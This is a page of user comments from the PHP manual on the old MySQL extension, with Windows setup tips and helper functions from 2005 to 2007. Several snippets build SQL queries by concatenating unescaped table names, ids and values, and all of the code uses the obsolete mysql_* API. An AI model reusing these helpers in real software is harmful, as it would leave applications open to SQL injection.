I almost had to ask myself if this was a real question... If the MySQL server rejects the connection attempt then, yes, MySQL would be able to send back an error to PHP... And if PHP can't access the target MySQL server at all then it is also smart enough to issue the appropriate error all by itself...
arnold_dba 13-Oct-2007 06:36
Also, to secure MySQL data and to be able to comply with PCI standards, you should encrypt the data. There are many ways to do it. For hackers, you can use dm-crypt (www.saout.de/misc/dm-crypt) tool. It is basically used to encrypt the whole partition. If you want a sophisticated solution go with Security-GENERAL for MySQL from packet general (www.packetgeneral.com)
On windows, you can use disk encryption feature provided by windows itself or tool like trucrypt (www.truecrypt.org)
DuiMDog 02-Sep-2007 03:19
On 11-Apr-2007 admin at mihalism dot com posted an 'easy to use MySql-class'.
In my opinion there is a bug in the get_affected_rows-function. It refers to query-id, but  it should refer to connect-id instead.

The corrected function should be:
    function get_affected_rows($connect_id = ""){
            if($connect_id == NULL){
                $return = mysql_affected_rows($this->connect_id);
            }else{
                $return = mysql_affected_rows($connect_id);
            }
            if(!$return){
                $this->error();
            }else{
                return $return;
            }
        }
atk2 at hotmail dot com 14-Jun-2007 08:56
After finally getting IIS, PHP, and MySQL on a new Windows XP machine, I decided to write the steps I took so you can see how it was done: http://www.atksolutions.com/articles/install_php_mysql_iis.html

Hope this helps.
tomasz dot rup at gmail dot com 16-Apr-2007 04:14
Correct algorithm to generate MySQL password hash is:

<?php
function mysql_password($passStr) {
        $nr=0x50305735;
        $nr2=0x12345671;
        $add=7;
        $charArr = preg_split("//", $passStr);

        foreach ($charArr as $char) {
                if (($char == '') || ($char == ' ') || ($char == '\t')) continue;
                $charVal = ord($char);
                $nr ^= ((($nr & 63) + $add) * $charVal) + ($nr << 8);
                $nr &= 0x7fffffff;
                $nr2 += ($nr2 << 8) ^ $nr;
                $nr2 &= 0x7fffffff;
                $add += $charVal;
        }

        return sprintf("%08x%08x", $nr, $nr2);
}
?>
Nobody Special 14-Apr-2007 11:20
This PHP5-only class is used so that $db isn't passed. Kudos to arjen at queek dot nl for example.

<?php
class SQL {
 private $db;
 public function __construct($host="localhost",$user="root",$pass="",$db="") {
  $this->db = @mysql_connect($host, $user, $pass);
  if(!$this->db) die(@mysql_error());
  if($db != "") $dbs = @mysql_select_db($db);
  if(!$dbs) die(@mysql_error());
 }
 public function __destruct() {
  @mysql_close($db);
 }
 public function __call($function, $arguments) {
  array_push($arguments, $this->db);
  $return = call_user_func_array("mysql_".$function, $arguments);
  if(!$return) die(@mysql_error());
 }
}

$db = new SQL();
$query = $db->query("SELECT * FROM this_table WHERE my_variable='1'");
$fetch = $db->fetch_array($query);
print_r($fetch);
?>
mega-squall at caramail dot com 13-Apr-2007 02:35
For Windows users, please note:

If apache is installed as a service, and you change PATH variable so it can reach libmysql.dll, you will need to reboot your machine in order to have changes applied.
admin at mihalism dot com 11-Apr-2007 07:48
Heres a easy to use MySQL class for any website

<?php
    class mysql_db{
        //+======================================================+
        function sql_connect($sqlserver, $sqluser, $sqlpassword, $database){
            $this->connect_id = mysql_connect($sqlserver, $sqluser, $sqlpassword);
            if($this->connect_id){
                if (mysql_select_db($database)){
                    return $this->connect_id;
                }else{
                    return $this->error();
                }
            }else{
                return $this->error();
            }
        }
        //+======================================================+
        function error(){
            if(mysql_error() != ''){
                echo '<b>MySQL Error</b>: '.mysql_error().'<br/>';
            }
        }
        //+======================================================+
        function query($query){
            if ($query != NULL){
                $this->query_result = mysql_query($query, $this->connect_id);
                if(!$this->query_result){
                    return $this->error();
                }else{
                    return $this->query_result;
                }
            }else{
                return '<b>MySQL Error</b>: Empty Query!';
            }
        }
        //+======================================================+
        function get_num_rows($query_id = ""){
            if($query_id == NULL){
                $return = mysql_num_rows($this->query_result);
            }else{
                $return = mysql_num_rows($query_id);
            }
            if(!$return){
                $this->error();
            }else{
                return $return;
            }
        }
        //+======================================================+
        function fetch_row($query_id = ""){
            if($query_id == NULL){
                $return = mysql_fetch_array($this->query_result);
            }else{
                $return = mysql_fetch_array($query_id);
            }
            if(!$return){
                $this->error();
            }else{
                return $return;
            }
        }
        //+======================================================+
        function get_affected_rows($query_id = ""){
            if($query_id == NULL){
                $return = mysql_affected_rows($this->query_result);
            }else{
                $return = mysql_affected_rows($query_id);
            }
            if(!$return){
                $this->error();
            }else{
                return $return;
            }
        }
        //+======================================================+
        function sql_close(){
            if($this->connect_id){
                return mysql_close($this->connect_id);
            }
        }
        //+======================================================+
    }

    /* Example */

    $DB = new mysql_db();
    $DB->sql_connect('sql_host', 'sql_user', 'sql_password', 'sql_database_name');
    $DB->query("SELECT * FROM `members`");
    $DB->sql_close();
?>
26-Jan-2007 01:14
Note, that the sql.safe_mode configuration setting does effect all mysql_* functions. This has nothing to to with the php safe mode, check the [SQL] section in php.ini.

I found out, that if you set sql.safe_mode = On, mysql_connect will ignore provided username and passwort and makes use of the script owner instead (checked on debian).
ravenal at uniphix dot com 27-Nov-2006 02:37
I was working with a friend of mine and he happened wanted to sort data based on the column names, well this function will basically sort the Field Names in ABC order and then from there on it'll add the data based on the field names assigned to...

You can use this to create easily forms and exclude what you don't want to be as entered data or sort it based on what order you want...

<?php
/*
 * By Benjamin Willard (c) 2006
 *
 * Sorts a Field by the Column Name (in ABC Order)
 *
 * @param string             : Table Name of where to Display the Values
 * @param integer             : Database Link
 * (Optional) @param array     : This will sort whatever you wish to be displayed on the top of the list
 * (Optional) @param array     : This will exclude what you do not want displayed
 *
 * return @param array         : Returns an Array of the Column Data
 * [Usage]
 * mysql_sort_field_column( string tablename, int database_link [, array sortfirst, array exclude] )
 * [Example]
 * $array = mysql_sort_field_column( "test", $c, array( "id", "name" ), array( "password" ) );
 *
 * [Output]
 *    Array
 *    (
 *        [0] => id
 *        [Field] => id
 *        [1] => int(11)
 *        [Type] => int(11)
 *        [2] =>
 *        [Null] =>
 *        [3] => PRI
 *        [Key] => PRI
 *        [4] =>
 *        [Default] =>
 *        [5] => auto_increment
 *        [Extra] => auto_increment
 *    )
 *        [id] => 1;
 *
 */
function mysql_sort_field_column( $tablename, $link, $sortfirst = '', $exclude = '' )
{
    $show=mysql_query("SHOW COLUMNS FROM $tablename", $link);

    $array=array();

    while( $fetch = mysql_fetch_array($show ) )
    {
        $array[$fetch['Field']] = $fetch;
    }

    ksort($array);

    if( $sortfirst )
    {
        if( is_array($sortfirst) )
        {
            $newarray = array();
            foreach( $sortfirst AS $i2 => $v )
                $newarray[$v] = $array[$v];

            foreach( $array AS $index => $val2 )
            {
                if( in_array($index, $sortfirst ) )
                    continue;

                $newarray[$index] = $val2;
            }

            $array = $newarray;
        }
    }

    if( $exclude )
    {
        if( is_array($exclude) )
        {
            $out = array();

            foreach( $array AS $index2 => $val2 )
            {
                if( in_array( $index2, $exclude ) )
                    continue;

                $out[$index2] = $val2;
            }

            $array = $out;
        }
    }

    return $array;
}
?>
mdhafen at x.washk12.org 19-Oct-2006 11:00
In response to martijn at elicit dot nl

Actually it is possible as a query, even with an auto_increment key field.  Like so...

INSERT
  INTO
   tablename
   ( list, of, ALL, similar, columns )
( SELECT
  *
FROM
  tablename
WHERE
  somefield = 'somevalue' )

That should work.
martijn at elicit dot nl 29-Aug-2006 12:52
Keeping history records usually requires you to duplicate rows. With standard MySQL syntax you can create a query like this:

INSERT
  INTO
    tablename
SELECT
  *
FROM
  tablename
WHERE
  somefield = 'somevalue'

The problem is that this won't work if you are using an auto_numbering key id field. There is no way to do this with standard MySQL syntax and I haven't been able to find a standard php function as well. So here's the function I wrote for that very purpose:

<?php

// function to create a duplicate record in a table with 1 auto_increment id.
function mysql_duplicate_record($table, $id_field, $id)
{
    // load original record into array
    $query = 'SELECT * FROM ' . $table . ' WHERE ' . $id_field . ' = ' . $id . ' LIMIT 1;';
    $r = mysql_query( $query ) or die('Error, query failed. ' . mysql_error());
    $ar = mysql_fetch_array( $r, MYSQL_ASSOC );

    // insert new record and get new auto_increment id
    mysql_query ('LOCK TABLES ' . $table . ' WRITE;') or die('Error, query failed. ' . mysql_error());
    mysql_query ('INSERT INTO ' . $table . ' ( `' . $id_field . '` ) VALUES ( NULL );') or die('Error, query failed. ' . mysql_error());
    $id = mysql_insert_id();
    mysql_query ('UNLOCK TABLES;') or die('Error, query failed. ' . mysql_error());

    // update new record with values from previous record
    $query = 'UPDATE ' . $table . ' SET ';
    while ($value = current($ar))
    {
        if (key($ar) != $id_field)
        {
            $query .= '`'.key($ar).'` = "'.$value.'", ';
        }
        next($ar);
    }
    $query = substr($query,0,strlen($query)-2).' ';
    $query .= 'WHERE ' . $id_field . ' = "' . $id . '" LIMIT 1;';
    mysql_query($query) or die('Error, query failed. ' . mysql_error());

    // return the new id
    return $id;
}

?>
davesteinb at yahoo dot com 13-Aug-2006 03:32
I made this function to reduce DB calls. You can store Mysql results in a session var and sort the results on any column. Might work nice in an AJAX app.

<?

function mysql_sort($results, $sort_field, $dir="ASC") {
    $temp_array = array();
    $i=0;
    foreach ($results as $res) {
        $temp_array[$i] = $res[$sort_field];
        $i++;
    }
    if ($dir=="ASC") {
        asort($temp_array);
    } else {
        arsort($temp_array);
    }

    $new_results = array();
    $i=0;
    foreach($temp_array as $k => $v) {
        $new_results[$i] = $results[$k];
        $i++;
    }
    ksort($new_results);
    return $new_results;

}

//use
if (count($_SESSION["res"])==0) {
    $_SESSION["res"] = [GET DATABASE RESULTS HOWEVER YOU MAY]
}

$_SESSION["res"] = mysql_sort($_SESSION["res"], $_REQUEST["sort"], $_REQUEST["dir"]);

?>
<table>
<tr>
  <td><a href="page.php?sort=f_name&dir=<? echo ($_REQUEST["dir"]=="ASC") ? "DESC":"ASC"; ?>">First</a></td>
  <td><a href="page.php?sort=l_name&dir=<? echo ($_REQUEST["dir"]=="ASC") ? "DESC":"ASC"; ?>">Last</a></td>
</tr>

<? foreach ($_SESSION["res"] as $r) {?>
<tr>
  <td><?=$r["f_name"]?></td>
  <td><?=$r["l_name"]?></td>
</tr>
<? } ?>
</table>
richard at NOSPAM dot dimax dot com 19-Jul-2006 04:58
In response to Conrad Decker's post below:

If your tables contain foreign key constraints you will not be able to properly restore from a datafile created by mysqldump.

mysqldump dumps table data in alphabetical order, not in the logical order required by the foreign key constraints.
vbolshov at rbc dot ru 09-Jul-2006 11:27
I have recently ran into a problem with configuring php extensions related to mysql (namely, mysql and pdo_mysql). Later I've discovered that it wasn't a PHP problem but that of MySQL - libmysqlclient doesn't ship with binary downloads. I've built MySQL from sources and both extensions then compiled successfully.
Conrad Decker 23-May-2006 01:56
In regards to the previous post...you should actually be able to pipe a mysql dump directly back into mysql.

From the command line something like
mysql -u username -p databasename < mysqldumpfilename
should rebuild the database.

There are some additional options one can use, and I believe mysqldump from different versions of mysql may not be completely compatible.
sb at stephenbrooks dot org 01-May-2006 01:43
I'm in the process of changing web hosts and my previous host provided a "dump" of the database in the form of a sequence of SQL requests that (I assume) have to be executed in order to rebuild the database on another system.  It was generated using "MySQL dump 9.11".  Queries are finished by a semicolon and linefeed, while comment-lines begin with a double hyphen.  The script below opens a connection to an SQL server and loads a dump file $file of this format into the database $dest_db.

function load_db_dump($file,$sqlserver,$user,$pass,$dest_db)
{
  $sql=mysql_connect($sqlserver,$user,$pass);
  mysql_select_db($dest_db);
  $a=file($file);
  foreach ($a as $n => $l) if (substr($l,0,2)=='--') unset($a[$n]);
  $a=explode(";\n",implode("\n",$a));
  unset($a[count($a)-1]);
  foreach ($a as $q) if ($q)
    if (!mysql_query($q)) {echo "Fail on '$q'"; mysql_close($sql); return 0;}
  mysql_close($sql);
  return 1;
}

This may not be watertight if the ";\n" sequence appears inside queries, but I hope it helps others who are in posession of such dumps.
caladorn at ugcs dot caltech dot edu 19-Apr-2006 12:33
After configuring php.ini as outlined above (set the extension_dir variable and uncomment the appropriate mysql library) I kept receiving the following error on every Apache restart:

PHP Startup: Unable to load dynamic library './ext\\php_mysql.dll'

After trawling the web, most suggestions seemed to center on copying the libmysql.dll from the php install directory to c:\windows\system32.  While this can work, it can also complicate future upgrades, since you'll always have to copy the new libmysql.dll to insure proper operation.

Instead, if you run a search for "libmysql.dll", you'll likely find several versions in various directories.  After removing the older (smaller) versions from the other directories in my PATH, (c:\windows, c:\windows\system32) - and making sure the php install directory was in the PATH, apache/php was able to successfully locate the correct DLL and start without errors.

Hopefully someone will find this helpful.  ;)
Nathan Brizzee 03-Apr-2006 10:42
Hi,
For all those who may still be struggling to get PHP to work with Windows and IIS, I finally found something that works.

If you are getting the error message that function mysql_connect could not be found and you're sure you enabled php_mysql in php.ini this is what finally solved my problem.

The post from mmw_canada at yahoo dot com on 10-Jul-2005 06:15 pointed me in the right direction.  Thanks mmw_canada!

1.) If you are connected to your Windows box via Remote Desktop, there is a switch to Remote Desktop that will connect you to the console session.  This is important because when IIS starts up, it's error messages go to the console.  If you are sitting at the physical machine, you can ignore this step.

Here is the command
mstsc -v:10.192.186.xxx  /F -console

For a more complete list of supported commands, type this at a dos command window:
mstsc /?

2.) Add a registry entry that tells PHP where to find its php.ini file.  Copy the following text and paste it in a text file.  Rename the text file to something like phpini.reg and double-click it to add it to your registry.

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\\SOFTWARE\\PHP]
"IniFilePath"="C:\\\\PHP"

2.) Add c:\\php; (or wherever you unzipped PHP to) to your environment variable "Path".  Here is the important part that caused me hours and hours of grief.  When adding c:\\php; to the PATH environment variable, make SURE you add it BEFORE the path to CVSNT or MYSQL.  PHP, CVSNT, and MYSQL all have a file called libmysql.dll.  Search order is important for PHP to find its file libmysql.dll first.  PHP must come first in the search path.  Otherwise you will get an error from the DLL on the console screen when IIS starts up saying it can't find the specified function call.

To see the order of your environment variables, open up a dos window and type "set" and press enter.  Look at what Path is equal to.  c:\\php; better come before cvsnt and mysql or it will never work properly.

Hope this helps!
brjann at gmail dot com 01-Apr-2006 01:11
After tearing my eyes out in frustration, I've finally found a way to enable extensions that always works for me. It's pretty straightforward.

1. Download the latest zip-version of PHP.
2. Delete (or backup) the contents of your PHP folder (usually c:\php). (remember to save any ext's not included in the zip)
3. Copy everything in the zip-file into your PHP folder
4. Be sure that extension_dir is set to "./ext" in php.ini
5. Enable whichever extensions you want to use in php.ini

I guess that deleting everything is quite unnecessary, the important thing is that the php.exe and extensions in the same zip are of compatible versions. I've never found any need to change the PATH environment variable.

Hope it helps!
yp 15-Mar-2006 02:08
when using Fedora Core linux Mysql rpm installation.
Configure as following to load the mysql header files.
./configure --with-mysql=/usr/
Remember to do make clean to remove old configurations before compile
php comments of fuzzyworm co., uk 17-Feb-2006 03:13
If you want to get PHP working nicely with MySQL, even with Apache, under Windows based systems, try XAMPP, from Apache Friends. It saves messing about with config files, which is the only major problem with trying to get the three to work together under windows.

http://www.apachefriends.org/en/xampp-windows.html
sabin at sabin dot com dot np 14-Feb-2006 04:29
php_mysql.dll and libmysql.dll for windows systems can be downloaded from http://dev.mysql.com/downloads/connector/php/

It can be useful to those who are using the PHP Windows installer, which does not have any external extensions included.
elliotthird at tiscali dot co dot uk 03-Feb-2006 09:20
Oops! Don't use that one, use this:
<?php
  class database {
   function database($server, $username, $password, $database) {
     $this->connection = mysql_connect($server, $username, $password);
     if (!$this->connection || !mysql_select_db($database, $this->connection)) {
       return false;
     } else {
       return true;
     }
   }
   function query($sql, $type = MYSQL_BOTH) {
     $query = mysql_query($sql, $this->connection);
     while ($row = mysql_fetch_row($query)) {
       $return[] = $row;
     }
     return $return;
   }
  }
  /* Change this to reflect your database setup */
  $database = new database('localhost', 'root', '', 'forum');
  if (!$database) {
    exit('Could not connect to the database!');
  }
?>
jeremy hepler 20-Dec-2005 12:12
For those of you on an OS that has older mysql libs and want to properly authenticate to the modern mysql versions, without the OLD_PASSWORD hack; compile php with where you have installed the latest mysql binary package:

./configure --with-mysql=/usr/local/mysql

if you have mysql installed on seperate server, just drop it into the target directory on what ever machine you are compiling it on.

Be sure to "make clean" before building or it may look in the previous place.

Use the output of mysql_get_client_info(); to test before and after.
Joe Greklek 15-Dec-2005 01:15
I've seen alot of newbies getting frustrated over the extenstions not being installed initially, so heres a quick tut for Windows.

It's ok to use the php5 installer. Just be sure to also grab the .zip or "manual" version of php5.

Install it like any other app. It's pretty straight forward. Don't forget to set the securities mentioned in the last message box at the end of the install. Next, If you installed php to c:\php then you will need to add this to your PATH environment variable. This is a very important step.

Now open up the .zip manual version of php5 and extract the ext folder, and "libmysql.dll" to "c:\php\".

You *MUST* set your security permissions on libmysql.dll and the ext folder to READ/READ&EXECUTE for IUSR_"MACHINE_NAME". like my machine is called master<acct = IUSR_MASTER>. If you don't do this you will recieve an ******.dll - Access Denied. type message.

Next edit your php.ini file usually located in c:\windows\.
Find the line for    extension_dir    variable and make it say
extension_dir = "c:\php\ext\"

Then scroll down a little bit and find the lines that say
;extension=php_mbstring.dll
;extension=php_bz2.dll
;extension=php_curl.dll
;extension=php_dba.dll
;extension=php_dbase.dll
;extension=php_exif.dll
;extension=php_fdf.dll
;extension=php_filepro.dll
;extension=php_gd2.dll
;extension=php_gettext.dll
;extension=php_ifx.dll

just remove the semicolin for each extension you would like loaded. Such as
extention=php_mysql.dll
and so on.

Now just reboot and all should be well. Query away. you basically only need to reboot to update the PATH environment variable. Hope this helps at least 1 person.:)
phil at pelanne dot com 03-Nov-2005 07:46
If you are experiencing extremely slow connections to MySQL from PHP from a Windows 2003 Server it may well not be PHP or IIS - try loading mysql in in 'skip-name-resolve'-Mode.

It may mean the difference between a 10 second load time and a split second load time.
Jonathon Hibbard 21-Sep-2005 10:47
This is a small function I wrote to handle queries on a table.
It can query a table, order and sort, and supports inner joins.

This function also returns the result as a single row or all rows.

Enjoy :

<?php
  /**
   * Selects Fields from a database/table.
   * Also supports INNER JOINS, GROUP BY, ORDER BY.
   *
   * @Author : Jonathon Hibbard
   *
   * @param string $db_name         //Name of Database
   * @param string $table           //Name of Table
   * @param array $fields           //Field Names we want to select
   * @param array $inner            //Fields to be INNER JOINED
   * @param array $where            //WHERE fields.
   * @param string $group_by        //Field to group by.
   * @param string $order_by        //Field to order by
   * @param string $asc             //Asc or Desc order
   * @param string $return_array    //Defines $rst as an array or single row
   * @return $rst                   //Returns the result
   *
   * @example : (1) getFields('mytool','master',
   *                          'array('master.master_id','master.fname_id'));
   *            (2) getFields('mytool','master',
   *                          'array('master.master_id','master.fname_id',
   *                          'fname.fname'), array(0=>array('mytool',
   *                          'fname','master','fname_id',)),
   *                          'master.default_value <> "", false);
   *            (3) getFields('mytool','master','master.master_id',NULL,
   *                          'master.fname_id = "3",NULL,NULL,NULL,false);
   */
  function getFields($db_name=NULL,$table=NULL,$fields=NULL,$inner=NULL,
                     $where=NULL,$group_by=NULL,$order_by=NULL,$asc=NULL,
                     $return_array=true) {
    $C_NAME = __CLASS__."::".__FUNCTION__;
    $sql = "SELECT ";
    is_array($fields) ? $sql .= implode(',',$fields) : $sql .= $fields;
    $sql .= " FROM ".$db_name.".".$table;
    if(!empty($inner)) {
      $total_inners = count($inner);
      for($i=0; $i<$total_inners; $i++)
        $sql .= " INNER JOIN ".$inner[$i][0].".".$inner[$i][1]."
                  ON ".$inner[$i][1].".".$inner[$i][2]." =
                     ".$inner[$i][3].".".$inner[$i][2];
    }
    if(!empty($where)) {
      is_array($where) ? $sql .= " WHERE ".implode(' AND ',$where)
                       : die("Fatal Error : Variable must be an array.
                         Variable type is : ".gettype($where));
    }
    !empty($group_by) ? $sql .= " GROUP BY ".$group_by : '';
    !empty($order_by) ? $sql .= " ORDER BY ".$order_by : '';
    !empty($asc)      ? $sql .= " ".$asc : '';
    $sql .= " # Query resides in ".__FILE__."->".$C_NAME."
                on line ".__LINE__;
    if($return_array === true) {
      $rst = mysql_query($sql)
             or die("An Error Has Occurred!
                  \n MySQL Error Reports : ".mysql_error()."
                  \n The Error Occured in ".__FILE__." -> ".$C_NAME);
      $i=0;
      while($row = mysql_fetch_assoc($rst)) {
        $rowRst[] = $row[$fields[$i]];
        $i++;
      }
    } else {
      $rst = mysql_query($sql)
             or die("An Error Has Occurred!
                  \n MySQL Error Reports : ".mysql_error()."
                  \n The Error Occured in ".__FILE__." -> ".$C_NAME);
      $rowRst = mysql_fetch_assoc($rst);
    }
    return $rowRst;
  }
?>
nick smith 19-Sep-2005 12:07
i'm fairly new to this but have just managed to set up (on windows xp) apache 2.0.54 with php 5.0.4 and mySQL 4.1.13, also phpMyAdmin 2.6.4 having had exactly the problems reported by so many others. i wasnt actually aware of mySQL not being loaded in php until i tried to use phpmyadmin and it told me to check my php/mysql configuration.

basically i just did everything that is mentioned by others (setting extension_dir to c:\php\ext ( not c:\php\ext\ ), uncommenting extension=php_mysql.dll from php.ini and putting c:\php into my PATH) but i was still getting the infuriating message when trying to start apache that php_mysql.dll could not be found.

i restarted my machine and it worked! It seems i had to restart windows after editing my PATH. i didnt bother restarting until it was the last resort because on xp i have NEVER had to do this before - changes to System Variables always took effect immediately. I could understand this on, say, windows 98 where you put the addition to your PATH into your autoexec.bat but why i had to do this with xp is a mystery.

Anyway, give it a go, it might save you tearing out prescious hair!

N.
avis_del at yahoo dot com 01-Sep-2005 01:14
I aggree with j at jonathany.com

PHP 5.04 to MySQL,
php_mysql.dll will not found on windows installer (.msi)
just extract from .zip file (can download).
It works.

1. cgi.force_redirect = 0
2. extension_dir = "c:\php\ext"
3. extension=php_mysql.dll

untill on phpinfo.php show

MySQL Support enabled
Active Persistent Links  0
Active Links  0
Client API version  4.1.12
claude(at)claude(dot)nl 25-Aug-2005 07:23
A note on resources

When a resource (e.g. a link identifier) runs out of scope, it is deleted and the associated computer resources (e.g. the tcp link to the database) will be terminated as well. So far so good!
However, in the following code the tcp mysql link persists until the end of execution:
<?php
$conn = mysql_connect('hostname', 'username','password');
$conn = null;
sleep (30);
?>
This is because the internally the link-identifier is being saved, so that subsequent mysql functions will work. There seems to be no way to delete this internal reference.
If you were, however, to open 2 connections, the oldest one will be deleted automatically (so the connection to hostname will terminate at the $conn=null statement, the connection to hostname2 will exist till the end of the script).
<?php
$conn = mysql_connect('hostname', 'username','password');
$conn2 = mysql_connect('hostname2', 'username','password');
$conn = null;
$conn2 = null;
sleep (30);
?>
arjen at mysql dot com 04-Aug-2005 01:26
John Coggeshall wrote a PHP5 ext/mysqli compatibility script for applications that still use the old ext/mysql functions. This prevents the hassle of trying to have both the mysql and mysqli extensions loaded in PHP5, which can be tricky.

The script is at:
http://www.coggeshall.org/oss/mysql2i/
allan666 at NOSPAM dot gmail dot com 20-Jul-2005 03:37
[Editor's Note: In MySQL v5.0+, you can use the INFORMATION_SCHEMA tables to retrieve information on tables, views, databases and so on. --zak@php.net]

Here is a small function to parse a mysql creation table DDL. The function takes a string with the SQL code to create a table and returns the table name, table fields, table key fields and fields type, all in arrays (except by the name, obviously). The function requires that the primary key be named "id" and the foreign keys named "id...". All foreign key types are suposed to be int (or its variations, bigint, etc...). All those restrictions are easily modified to others needs.

Here is a example of a DDL code.

CREATE TABLE `telefones` (
  `id` int(11) NOT NULL auto_increment,
  `id_tipo_telefone` int(11) NOT NULL default '0',
  `numero` varchar(15) NOT NULL default '',
  `id_pessoa` int(11) NOT NULL default '0',
  PRIMARY KEY  (`id`),
  KEY `id_tipo_telefone` (`id_tipo_telefone`),
  KEY `id_pessoa` (`id_pessoa`),
  CONSTRAINT `0_775` FOREIGN KEY (`id_tipo_telefone`) REFERENCES `tipos_telefone` (`id`),
  CONSTRAINT `0_776` FOREIGN KEY (`id_pessoa`) REFERENCES `pessoas` (`id`)
) TYPE=InnoDB

that returns

$tbname = "telefones"
$fields = array("numero");
$kfields = array("id_tipo_telefone","id_pessoa");
$tipos = array("varchar");

Hope it helps...

<?php
function parseQuery($Q, &$tbname, &$fields, &$kfields, &$tipos) {

/** rules to a corect parse:
 *
 *     1 - primary key must be named "id"
 *     2 - foreign key must be named "id..." eg.: id_field
 *     3 - lowercase is recomended
 */

    $Q = str_replace(array(chr(10),chr(13))," ",$Q);
    $Q = str_replace(array("'","`")," ",$Q);

    preg_match("/([^(]*)\((.*)\)(.*)/",$Q,$A);

    $part1 = $A[1];
    $part2 = $A[2];
    $part3 = $A[3];

    preg_match("/(.*) ([a-zA-Z_]+)/",$part1,$A);

    $tbname = strtolower($A[2]);

    $temp = split(",",$part2);
    foreach ($temp as $t) {
        preg_match("/ *([a-zA-Z_]+) +([a-zA-Z_]+)(.*)/",$t,$A);
        $pcampo = strtolower($A[1]);
        $ptipo = strtolower($A[2]);
        if (!preg_match("/$pcampo/","primary key constraint id unique foreign") )  {
            if ( ($pcampo[0] == "i") && ($pcampo[1] == "d") )
                $kfields[] = $pcampo;
            else {
                $fields[] = $pcampo;
                $tipos[] = $ptipo;
            }
        }
    }
}
?>
mmw_canada at yahoo dot com 10-Jul-2005 06:15
I Quote:

"Note: If when starting the web server an error similar to the following occurs: "Unable to load dynamic library './php_mysql.dll'", this is because php_mysql.dll and/or libmysql.dll cannot be found by the system."

Actully, the file may have been found, it is just the wrong version.

The "libmysql.dll" is packaged and sent with a number of applications and it can end up in different place on your computer.  The file may even be completely different, so just replacing it may cause problems with the other applications.

I searched for the this file and found that I had a number of different versions on my machine at once.  PHP was trying to use the WRONG ONE.

Maybe the name should be changed in later versions so that it doesn't encourage people to commit suicide or pull their hair out.
bahatest at ifrance dot com 06-Jul-2005 10:38
/*
* before mysql 4.1, timestamp have a defined size, but after 4.1, timestamp is equal to... datetime
* so, conversion is automatic when you import your dump in new mysql version, but your script cannot echo dates like before.
* this function took one date on DATETIME format, a size of old timestamp format and return the date in old timestamp format before 4.1
* Note : if $date is in TIMESTAMP format, the function return it unaltered. So we can patch our php code before migrate to 4.1
* @param $date a date in DATETIME format, or TIMESTAMP format after mysql 4.1
* @param $size a size of old TIMESTAMP format (14,12,10,8,6,4 or 2)
* @return the date in old TIMESTAMP format
*/
function mysql_convert_timestamp_to_previous_usage($date, $size) {
    $tab=split('[- :]', $date);
    if (sizeof($tab) != 6) return $date;
    if (($size!= 8) && ($size!= 14)) {
        $tab[0]=substr($tab[0], -2);
    }
    for ($i = 12; $i>$size; $i-=2) {
        unset($tab[sizeof($tab)-1]);
    }
    if ($size== 8) unset($tab[sizeof($tab)-1]);
    return implode("", $tab);
}
jimmy dot a dot gunawan at gmail dot com 03-Jul-2005 12:18
I almost desperately connect my apache 2.0.54 winversion to PHP 5.0.4 and MYSQL 4.1.12 under windows, since there are lack of any accurate information to setup them properly.
If you got any error message said: "Call to undefined function mysql_connect()", here is the right tips.

Apache installed in c:\apache\apachegroup
PHP installed in c:\php
Mysql installed in c:\mysql

1. Find and add c:\apache\apachegroup\conf\httpd.conf
    with:
      ScriptAlias /php/ "c:/php/"
      AddType application/x-httpd-php .php
      Action application/x-httpd-php "/php/php-cgi.exe"
2. Go to php directory c:\php then rename php.ini-dist to php.ini
    (or make a new php.ini based on old php.ini file),
    make sure we set the right extension:
       extension_dir = "c:\php\ext"
       extension=php_mysql.dll

If you setup an php script that call function php_info();
and you can find table:
MySQL Support enabled
Active Persistent Links  0
Active Links  0
Client API version  4.1.7

that mean the mysql.dll properly attached to suppport the php, happy SQL-ing
Microsoul V3 04-Jun-2005 03:47
I use IIS 6, PHP 5.04, Windows Server 2003 and MySQL 4.1.11. and here is what I was able to figure out.
To get MySQL and PHP to talk to each other, in the php.cfg, dont forget to turn on the tag
cgi.force_redirect = 0, and make sure you set it at 0 (it is default at 1. just delete the semi-colon from in front of it to activate it in the code) Then the phpinfo will say its reading the cfg from your PHP install directory instead of your WINDOWS root. Then your phpinfo will show the MySQL entry that some people may be having a hard time with. No registry settings or copying of anything is needed. Also follow the rest of the excellent help from the user comments. Here's what I did, to make it simple:
I made a folder in the folder tree just above program files (explore your computer) and named it PHP. I extracted the .zip php version into it (not the auto install version). I edited the php.ini-recommended, renamed it to just php, added my sql username, database name, etc.( you really gotta look closely at the cfg file and make sure you dont overlook something). Turned on the extension=php_mysql.dll (just delete the semi-colon thats in front of it). Added the php folder to the PATH (instructions on how to do this are pretty simple, and documented above). I also made the ext folder available to the PATH, but Im not sure if it's really necessary. The user comments are what really helped me, so I thought I would return the favor, and try to expand on this topic a little bit.
noel at nettensity dot com 28-May-2005 11:20
More On Windows 2003 Server / IIS 6.0:

It might (probably) be necessary to add both the path to PHP and the path to the extensions dir to your environmental variables.

To do this:
1) Right-Click on 'My Computer'
2) Select 'Properties'
3) Click the 'Advanced' tab
4) At the bottom of this dialog box, click the 'Environmental Variables' button
5) In the frame titled 'System Variables', scroll-down until you find 'Path'
6)Add your path to PHP and your path to the extensions folder i.e. c:\php;c:\php\ext. Make sure all the paths are seperated by semi-colons, and make sure not to erase any of the other paths already in there.

I meant to include this in my note below, apologies for any confusion.
noel at nettensity dot com 28-May-2005 10:04
Enabling MySQL with Windows Server 2003/IIS 6.0:
Find your php.ini file first, check phpinfo() to see where php is currently looking for php.ini. (i.e. Using the Windows installer for PHP 5.0.4, the php.ini file was placed in the C:\Windows dir.) I recommend, however, that you don't use the installer - go with full manual install.

Set the following in php.ini:
display_errors = on
error_reporting = E_ALL
This will make sure that you'll see any errors that arise during configuration. MAKE SURE TO CORRECT THESE WHEN YOU ARE DONE PLAYING WITH PHP.INI! Do not leave these settings like this on a production machine.

In php.ini set the following:
extension_dir = "pathtoextensions (ususally [yourpathtophp]\ext)"
extension=php_mysql.dll (make sure this is un-commented if its already in your php.ini)

In IIS, open Web Service Extensions, click "Add a new Web service extension..."
Type-in PHP for the extension name
Under required files:
Add  [yourpathtophp]\php5isapi.dll
Add  [yourpathtophp]\php5ts.dll
Click 'Apply' then click 'OK'

